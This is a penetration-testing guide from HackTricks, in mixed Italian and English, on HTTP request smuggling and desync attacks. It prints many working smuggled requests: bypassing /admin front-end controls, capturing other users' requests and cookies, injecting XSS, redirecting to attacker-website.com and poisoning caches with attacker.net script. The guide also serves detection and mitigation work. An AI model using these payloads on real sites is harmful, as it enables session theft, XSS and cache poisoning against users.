HTTP Request Smuggling / HTTP Desync Attack

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

What is

Questa vulnerability si verifica quando una desyncronization tra i front-end proxies e il server back-end permette a un attacker di send un HTTP request che verrà interpreted come single request dai front-end proxies (load balance/reverse-proxy) e come 2 request dal server back-end.
Questo permette a un user di modificare la next request che arriva al back-end server dopo la sua.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

L’header Content-Length entity indica la size dell’entity-body, in bytes, inviata al recipient.

Transfer-Encoding: chunked

L’header Transfer-Encoding specifica il form di encoding usato per trasferire in modo sicuro il payload body all’user.
Chunked means that large data is sent in a series of chunks

Reality

Il Front-End (un load-balance / Reverse Proxy) process l’header content-length o transfer-encoding e il server Back-end processa l’altro provocando una desyncronization tra i 2 sistemi.
Questo può essere molto critico, poiché an attacker will be able to send one request al reverse proxy che verrà interpreted dal server back-end as 2 different requests. Il danger di questa technique sta nel fatto che il server back-end will interpret la 2nd request injected come se venisse dal next client e la real request di quel client sarà part della injected request.

Particularities

Remember that in HTTP a new line character is composed by 2 bytes:

  • Content-Length: This header uses a decimal number to indicate the number of bytes of the body of the request. The body is expected to end in the last character, a new line is not needed in the end of the request.
  • Transfer-Encoding: This header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. The chunk must end with a new line but this new line isn’t counted by the length indicator. This transfer method must end with a chunk of size 0 followed by 2 new lines: 0
  • Connection: Based on my experience it’s recommended to use Connection: keep-alive on the first request of the request Smuggling.

Visible - Hidden

The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it’s possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).

This blog post proposes new ways to detect desync attacks to a system that won’t be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.

For example, sending a request with the normal host header and a “ host“ header, if the backend complains about this request (maybe becasue the value of “ host“ is incorrect) it possible means that the front-end didn’t see about the “ host“ header while the final backend did use it, higly probale implaying a desync between front-end and backend.

This would be a Hidden-Visible discrepancy.

If the front-end would have taken into account the “ host“ header but the front-end didn’t, this could have been a Visible-Hidden situation.

For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the “Host: foo/bar” was sent, the ALB returned 400, Server; awselb/2.0, but when “Host : foo/bar” was sent, it returned 400, Server: Microsoft-HTTPAPI/2.0, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.

Note that this situation is not corrected in the AWS, but it can be prevented setting routing.http.drop_invalid_header_fields.enabled and routing.http.desync_mitigation_mode = strictest.

Basic Examples

Tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length (CL) and Transfer-Encoding (TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Processa il request in base all’header Content-Length.

  • Back-End (TE): Processa il request in base all’header Transfer-Encoding.

  • Attack Scenario:

  • L’attacker invia un request in cui il valore dell’header Content-Length non corrisponde alla content length reale.

  • Il server front-end inoltra l’intero request al back-end, in base al valore di Content-Length.

  • Il server back-end processa il request come chunked a causa dell’header Transfer-Encoding: chunked, interpretando i dati rimanenti come un request separato successivo.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Processa il request in base all’header Transfer-Encoding.

  • Back-End (CL): Processa il request in base all’header Content-Length.

  • Attack Scenario:

  • L’attacker invia un chunked request in cui la chunk size (7b) e la content length reale (Content-Length: 4) non sono allineate.

  • Il server front-end, rispettando Transfer-Encoding, inoltra l’intero request al back-end.

  • Il server back-end, rispettando Content-Length, processa solo la parte iniziale del request (7b bytes), lasciando il resto come parte di un request successivo non intenzionale.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Entrambi supportano Transfer-Encoding, ma uno può essere ingannato e ignorarlo tramite obfuscation.

  • Attack Scenario:

  • L’attacker invia un request con header Transfer-Encoding obfuscated.

  • A seconda di quale server (front-end o back-end) non riesce a riconoscere l’obfuscation, può essere sfruttata una vulnerability CL.TE o TE.CL.

  • La parte non processata del request, così come vista da uno dei server, diventa parte di un request successivo, portando allo smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Entrambi i server processano il request basandosi solo sull’header Content-Length.
  • Questo scenario in genere non porta allo smuggling, perché c’è allineamento nel modo in cui entrambi i server interpretano la request length.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Si riferisce a scenari in cui l’header Content-Length è presente e ha un valore diverso da zero, indicando che il request body contiene dati. Il back-end ignora l’header Content-Length (che viene trattato come 0), ma il front-end lo interpreta.
  • È fondamentale per capire e costruire smuggling attacks, perché influenza come i server determinano la fine di un request.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Come il precedente ma usando TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenario

In una situazione 0.CL una richiesta viene inviata con un Content-Length come:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

E il front-end non considera Content-Length, quindi invia al backend solo la prima request (fino al 7 nell’esempio). Tuttavia, il backend vede il Content-Length e attende un body che non arriva mai, perché il front-end sta già aspettando la response.

Tuttavia, se c’è una request che è possibile inviare al backend e che riceve una response prima di ricevere il body della request, questo deadlock non si verificherà. In IIS, per esempio, questo accade inviando request a parole proibite come /con (controlla la documentazione), in questo modo, la request iniziale verrà respondata direttamente e la seconda request conterrà la request della vittima come:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Questo è utile per causare una desync, ma finora non avrà alcun impatto.

Tuttavia, il post offre una soluzione a questo convertendo un attacco 0.CL in un CL.0 con una double desync.

Rompere il web server

Questa tecnica è utile anche in scenari in cui è possibile rompere un web server mentre si legge i dati HTTP iniziali ma senza chiudere la connessione. In questo modo, il body della richiesta HTTP sarà considerato la richiesta HTTP successiva.

Per esempio, come spiegato in questo writeup, in Werkzeug era possibile inviare alcuni caratteri Unicode e questo faceva rompere il server. Tuttavia, se la connessione HTTP era stata creata con l’header Connection: keep-alive, il body della richiesta non veniva letto e la connessione rimaneva aperta, quindi il body della richiesta veniva trattato come la richiesta HTTP successiva.

Forzare tramite hop-by-hop headers

Abusando degli hop-by-hop headers, potresti indicare al proxy di eliminare l’header Content-Length o Transfer-Encoding, così che sia possibile abusare di un HTTP request smuggling.

Connection: Content-Length

Per maggiori informazioni sugli header hop-by-hop visita:

hop-by-hop headers

Trovare HTTP Request Smuggling

Identificare vulnerabilità di HTTP request smuggling può spesso essere ottenuto usando tecniche di timing, che si basano sull’osservare quanto tempo impiega il server a rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, ci sono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:

Trovare vulnerabilità CL.TE usando tecniche di timing

  • Metodo:

  • Invia una richiesta che, se l’applicazione è vulnerabile, farà sì che il back-end server attenda dati aggiuntivi.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Osservazione:

  • Il front-end server elabora la richiesta in base a Content-Length e interrompe il messaggio prematuramente.

  • Il back-end server, aspettandosi un messaggio chunked, attende il chunk successivo che non arriva mai, causando un ritardo.

  • Indicatori:

  • Timeout o lunghi ritardi nella risposta.

  • Ricevere un errore 400 Bad Request dal back-end server, a volte con informazioni dettagliate sul server.

Trovare vulnerabilità TE.CL usando tecniche di timing

  • Metodo:

  • Invia una richiesta che, se l’applicazione è vulnerabile, farà sì che il back-end server attenda dati aggiuntivi.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Osservazione:
  • Il front-end server elabora la richiesta in base a Transfer-Encoding e inoltra l’intero messaggio.
  • Il back-end server, aspettandosi un messaggio basato su Content-Length, attende dati aggiuntivi che non arrivano mai, causando un ritardo.

Altri metodi per trovare vulnerabilità

  • Differential Response Analysis:
  • Invia versioni leggermente diverse di una richiesta e osserva se le risposte del server differiscono in modo inatteso, indicando una discrepanza di parsing.
  • Usando strumenti automatizzati:
  • Strumenti come l’estensione ‘HTTP Request Smuggler’ di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
  • Content-Length Variance Tests:
  • Invia richieste con valori Content-Length variabili che non sono allineati con la lunghezza reale del contenuto e osserva come il server gestisce tali mismatch.
  • Transfer-Encoding Variance Tests:
  • Invia richieste con header Transfer-Encoding offuscati o malformati e monitora come il front-end e il back-end server rispondono in modo diverso a tali manipolazioni.

L’header Expect: 100-continue

Controlla come questo header può aiutare a sfruttare un http desync in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Dopo aver confermato l’efficacia delle tecniche di timing, è fondamentale verificare se le richieste client possono essere manipulate. Un metodo diretto è tentare di avvelenare le tue richieste, per esempio facendo in modo che una richiesta a / produca una risposta 404. Gli esempi CL.TE e TE.CL discussi in precedenza in Basic Examples dimostrano come avvelenare la richiesta di un client per ottenere una risposta 404, nonostante il client voglia accedere a una risorsa diversa.

Considerazioni chiave

Quando testi vulnerabilità di request smuggling interferendo con altre richieste, tieni presente:

  • Connessioni di rete distinte: Le richieste “attack” e “normal” dovrebbero essere inviate su connessioni di rete separate. Usare la stessa connessione per entrambe non conferma la presenza della vulnerabilità.
  • URL e parametri coerenti: Cerca di usare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste verso specifici back-end server in base a URL e parametri. Farli coincidere aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, prerequisito per un attacco riuscito.
  • Timing e condizioni di race: La richiesta “normal”, destinata a rilevare l’interferenza della richiesta “attack”, compete con altre richieste concorrenti dell’applicazione. Per questo, invia la richiesta “normal” immediatamente dopo la richiesta “attack”. Le applicazioni molto trafficate possono richiedere più tentativi per confermare in modo conclusivo la vulnerabilità.
  • Problemi di load balancing: I front-end server che agiscono come load balancer possono distribuire le richieste tra diversi back-end system. Se le richieste “attack” e “normal” finiscono su system diversi, l’attacco non riuscirà. Questo aspetto del load balancing può richiedere diversi tentativi per confermare una vulnerabilità.
  • Impatto involontario sugli utenti: Se il tuo attacco influisce inavvertitamente sulla richiesta di un altro utente (non sulla richiesta “normal” inviata da te per il rilevamento), questo indica che il tuo attacco ha influenzato un altro utente dell’applicazione. Un test continuo potrebbe interrompere il servizio per altri utenti, quindi è necessario un approccio cauto.

Distinguere gli artefatti del pipelining HTTP/1.1 dal vero request smuggling

Il riuso della connessione (keep-alive) e il pipelining possono facilmente produrre illusioni di “smuggling” negli strumenti di testing che inviano più richieste sulla stessa socket. Impara a separare artefatti innocui lato client da un vero desync lato server.

Perché il pipelining crea classici falsi positivi

HTTP/1.1 riusa una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining, il client invia più richieste una dopo l’altra e si affida a risposte in ordine. Un falso positivo comune è reinviare un payload CL.0 malformato due volte sulla stessa connessione:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Le risposte possono sembrare:

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Se il server ha ignorato il Content_Length malformato, non c’è desync FE↔BE. Con il reuse, il tuo client ha effettivamente inviato questo byte-stream, che il server ha interpretato come due richieste indipendenti:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: nessuno. Hai semplicemente desincronizzato il tuo client dal framing del server.

Tip

Moduli di Burp che dipendono da reuse/pipelining: Turbo Intruder con requestsPerConnection>1, Intruder con “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” o “Enable connection reuse”.

Litmus tests: pipelining or real desync?

  1. Disabilita reuse e ritesta
  • In Burp Intruder/Repeater, disattiva HTTP/1 reuse ed evita “Send group in sequence”.
  • In Turbo Intruder, imposta requestsPerConnection=1 e pipeline=False.
  • Se il comportamento scompare, probabilmente era pipelining lato client, a meno che tu non stia التعاملando con target connection-locked/stateful o client-side desync.
  1. Controllo HTTP/2 nested-response
  • Invia una richiesta HTTP/2. Se il body della risposta contiene una risposta HTTP/1 completa annidata, hai dimostrato un bug di parsing/desync del backend invece di un puro artefatto lato client.
  1. Probe di partial-requests per front-end connection-locked
  • Alcuni FE riusano la connessione BE upstream solo se il client ha riusato la propria. Usa partial-requests per rilevare un comportamento del FE che rispecchia il reuse del client.
  • Vedi PortSwigger “Browser‑Powered Desync Attacks” per la tecnica connection-locked.
  1. State probes
  • Cerca differenze tra prima richiesta e richieste successive sulla stessa connessione TCP (first-request routing/validation).
  • Burp “HTTP Request Smuggler” include un connection‑state probe che automatizza questo controllo.
  1. Visualizza il wire
  • Usa l’estensione Burp “HTTP Hacker” per ispezionare direttamente concatenazione e message framing mentre sperimenti con reuse e partial requests.

Connection‑locked request smuggling (reuse-required)

Alcuni front-end riusano la connessione upstream solo quando il client riusa la propria. Il vero smuggling esiste, ma è condizionato dal reuse lato client. Per distinguerlo e dimostrarne l’impatto:

  • Dimostra il bug lato server
  • Usa il controllo HTTP/2 nested-response, oppure
  • Usa partial-requests per mostrare che il FE riusa upstream solo quando lo fa il client.
  • Mostra un impatto reale anche se l’abuso diretto della socket cross-user è bloccato:
  • Cache poisoning: avvelena shared caches tramite la desync così che le risposte influenzino altri utenti.
  • Internal header disclosure: riflette gli header iniettati dal FE (ad es. auth/trust headers) e fai pivot verso un auth bypass.
  • Bypass FE controls: smuggle percorsi/metodi vietati oltre il front-end.
  • Host-header abuse: combina con particolarità di host routing per fare pivot verso vhost interni.
  • Workflow dell’operatore
  • Riproduci con reuse controllato (Turbo Intruder requestsPerConnection=2, oppure Burp Repeater tab group → “Send group in sequence (single connection)”).
  • Poi concatena primitive di cache/header-leak/control-bypass e dimostra un impatto cross-user o di authorization.

Vedi anche connection‑state attacks, che sono strettamente correlati ma non tecnicamente smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Se stai mirando a browser-powered/client-side desync, la richiesta malevola deve poter essere inviata da un browser cross-origin. I trucchi di header obfuscation non funzioneranno. Concentrati su primitive raggiungibili tramite navigation/fetch, poi fai pivot verso cache poisoning, header disclosure, o front-end control bypass dove i componenti downstream riflettono o cacheano le risposte.

Per background e workflow end-to-end:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): espone il comportamento HTTP a basso livello e la concatenazione delle socket.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: controllo preciso del connection reuse tramite requestsPerConnection.
  • Burp HTTP Request Smuggler: include un connection‑state probe per individuare routing/validation della first-request.

Note

Considera gli effetti solo-reuse come non problematici a meno che tu non possa dimostrare una desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header che abilita privilege bypass, FE control bypass, ecc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

A volte i proxy front-end applicano misure di sicurezza, ispezionando le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, consentendo accesso non autorizzato a endpoint restritti. Per esempio, l’accesso a /admin potrebbe essere vietato dall’esterno, con il front-end proxy che blocca attivamente tali tentativi. Nondimeno, questo proxy potrebbe non ispezionare le richieste incorporate all’interno di una richiesta HTTP smuggled, lasciando una falla per bypassare queste restrizioni.

Considera i seguenti esempi che illustrano come HTTP Request Smuggling possa essere usato per bypassare i controlli di sicurezza del front-end, mirando nello specifico al path /admin, che tipicamente è protetto dal front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Nell’attacco CL.TE, l’header Content-Length viene sfruttato per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l’header Transfer-Encoding: chunked. Il proxy front-end elabora la richiesta iniziale POST ma non riesce a ispezionare la richiesta incorporata GET /admin, consentendo accesso non autorizzato al path /admin.

Esempio TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Al contrario, nell’attacco TE.CL, la richiesta POST iniziale usa Transfer-Encoding: chunked, e la richiesta incorporata successiva viene elaborata in base all’header Content-Length. Simile all’attacco CL.TE, il proxy front-end trascura la richiesta GET /admin smuggled, concedendo involontariamente accesso al percorso riservato /admin.

Revealing front-end request rewriting

Le applicazioni spesso impiegano un front-end server per modificare le richieste in arrivo prima di passarle al back-end server. Una modifica tipica consiste nell’aggiungere header, come X-Forwarded-For: <IP of the client>, per inoltrare l’IP del client al back-end. Comprendere queste modifiche può essere fondamentale, perché potrebbe rivelare modi per bypass protections o scoprire informazioni o endpoint nascosti.

Per investigare come un proxy altera una request, individua un parametro POST che il back-end rispecchia nella response. Poi, costruisci una request, usando questo parametro per ultimo, simile alla seguente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In questa struttura, i componenti della richiesta successiva vengono appesi dopo search=, che è il parametro riflesso nella risposta. Questa reflection esporrà gli header della richiesta successiva.

È importante allineare l’header Content-Length della richiesta nidificata con la lunghezza effettiva del contenuto. È consigliabile partire con un valore piccolo e incrementarlo gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare un errore della richiesta.

Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parametro search.

Questo metodo serve principalmente a comprendere le modifiche alla richiesta apportate dal proxy front-end, eseguendo essenzialmente un’indagine auto-diretta.

Capturing other users’ requests

È possibile catturare le richieste dell’utente successivo appending una richiesta specifica come valore di un parametro durante un’operazione POST. Ecco come si può fare:

Appended la seguente richiesta come valore di un parametro, puoi memorizzare la richiesta del client successivo:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In questo scenario, il parametro comment è pensato per memorizzare il contenuto della sezione commenti di un post in una pagina accessibile pubblicamente. Di conseguenza, il contenuto della richiesta successiva apparirà come un commento.

Tuttavia, questa tecnica ha delle limitazioni. In generale, cattura i dati solo fino al delimitatore del parametro usato nella richiesta smuggled. Per le submit di form URL-encoded, questo delimitatore è il carattere &. Questo significa che il contenuto catturato dalla richiesta dell’utente vittima si fermerà al primo &, che potrebbe persino far parte della query string.

Inoltre, vale la pena notare che questo approccio è valido anche con una vulnerabilità TE.CL. In questi casi, la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai newline characters, i valori verranno aggiunti al parametro search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling può essere sfruttato per exploitare pagine web vulnerabili a Reflected XSS, offrendo vantaggi significativi:

  • L’interazione con gli utenti target non è richiesta.
  • Consente lo sfruttamento di XSS in parti della richiesta che sono normalmente irraggiungibili, come gli HTTP request headers.

In scenari in cui un sito web è suscettibile a Reflected XSS tramite l’header User-Agent, il seguente payload mostra come exploitare questa vulnerabilità:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Questo payload è strutturato per sfruttare la vulnerabilità in questo modo:

  1. Avviando una richiesta POST, apparentemente normale, con un header Transfer-Encoding: chunked per indicare l’inizio del smuggling.
  2. Seguendo con un 0, che marca la fine del body del messaggio chunked.
  3. Poi, viene introdotta una richiesta GET smuggled, dove l’header User-Agent viene iniettato con uno script, <script>alert(1)</script>, attivando l’XSS quando il server elabora questa richiesta successiva.

Manipolando User-Agent tramite smuggling, il payload aggira i normali vincoli della request, sfruttando così la vulnerabilità Reflected XSS in un modo non standard ma efficace.

HTTP/0.9

Caution

Nel caso in cui il contenuto dell’utente venga riflesso in una response con un Content-type come text/plain, impedendo l’esecuzione dell’XSS. Se il server supporta HTTP/0.9, potrebbe essere possibile bypassare questo!

La versione HTTP/0.9 era precedente alla 1.0 e usa solo verbi GET e non risponde con headers, solo il body.

In this writeup, questo è stato abusato con un request smuggling e un vulnerable endpoint che risponderà con l’input dell’utente per smuggare una request con HTTP/0.9. Il parametro che veniva riflesso nella response conteneva una fake response HTTP/1.1 (con headers e body), quindi la response conterrà codice JS eseguibile valido con un Content-Type di text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Le applications spesso redirigono da un URL a un altro usando l’hostname dall’header Host nell’URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza uno slash finale provoca un redirect per includere lo slash:

GET /home HTTP/1.1
Host: normal-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Sebbene apparentemente innocuo, questo comportamento può essere manipolato usando HTTP request smuggling per reindirizzare gli utenti verso un sito esterno. Per esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Questa request smuggled potrebbe causare che la prossima request dell’utente elaborata venga reindirizzata a un website controllato dall’attaccante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Results in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In questo scenario, la richiesta di un utente per un file JavaScript viene hijacked. L’attaccante può potenzialmente compromettere l’utente servendo JavaScript malevolo in risposta.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Il web cache poisoning può essere eseguito se qualsiasi componente della front-end infrastructure caches content, tipicamente per migliorare le performance. Manipolando la risposta del server, è possibile poison the cache.

In precedenza, abbiamo osservato come le risposte del server potessero essere alterate per restituire un errore 404 (vedi Basic Examples). Allo stesso modo, è possibile ingannare il server facendogli consegnare il contenuto di /index.html in risposta a una richiesta per /static/include.js. Di conseguenza, il contenuto di /static/include.js viene sostituito nella cache con quello di /index.html, rendendo /static/include.js inaccessibile agli utenti, con il possibile risultato di un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una vulnerabilità di Open Redirect o se c’è un on-site redirect to an open redirect. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto in cache di /static/include.js con uno script sotto il controllo dell’attaccante, consentendo di fatto un attacco di Cross-Site Scripting (XSS) su larga scala contro tutti i client che richiedono il /static/include.js aggiornato.

Qui sotto c’è un’illustrazione di come sfruttare cache poisoning combined with an on-site redirect to open redirect. L’obiettivo è alterare il contenuto della cache di /static/include.js per servire codice JavaScript controllato dall’attaccante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Nota la richiesta incorporata che punta a /post/next?postId=3. Questa richiesta verrà reindirizzata a /post?postId=4, utilizzando il valore dell’Host header per determinare il dominio. Alterando l’Host header, l’attacker può reindirizzare la richiesta verso il proprio dominio (on-site redirect to open redirect).

Dopo il successo del socket poisoning, dovrebbe essere avviata una GET request per /static/include.js. Questa richiesta verrà contaminata dalla precedente richiesta on-site redirect to open redirect e recupererà il contenuto dello script controllato dall’attacker.

Successivamente, qualsiasi richiesta per /static/include.js servirà il contenuto in cache dello script dell’attacker, lanciando di fatto un ampio attacco XSS.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

L’attacker costruisce una richiesta smuggled che recupera contenuto sensibile specifico dell’utente. Considera il seguente esempio:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se questa request smuggled avvelena una cache entry destinata a contenuto statico (ad esempio, /someimage.png), i dati sensibili della vittima da /private/messages potrebbero essere memorizzati nella cache sotto la cache entry del contenuto statico. Di conseguenza, l’attaccante potrebbe potenzialmente recuperare questi dati sensibili cachati.

Abusing TRACE via HTTP Request Smuggling

In this post viene suggerito che se il server ha il method TRACE abilitato, potrebbe essere possibile abusearlo con un HTTP Request Smuggling. Questo perché questo method rifletterà qualsiasi header inviato al server come parte del body della response. Per esempio:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Invierò una risposta del tipo:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un esempio di come abusare di questo comportamento sarebbe smuggling prima una richiesta HEAD. Questa richiesta riceverà in risposta solo gli header di una richiesta GET (Content-Type tra questi). E fare immediatamente dopo la HEAD una richiesta TRACE, che rifletterà i dati inviati.
Poiché la risposta HEAD conterrà un header Content-Length, la risposta della richiesta TRACE verrà trattata come body della risposta HEAD, riflettendo quindi dati arbitrari nella risposta.
Questa risposta verrà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere usata in un file JS cached per esempio per iniettare codice JS arbitrario.

Abusing TRACE via HTTP Response Splitting

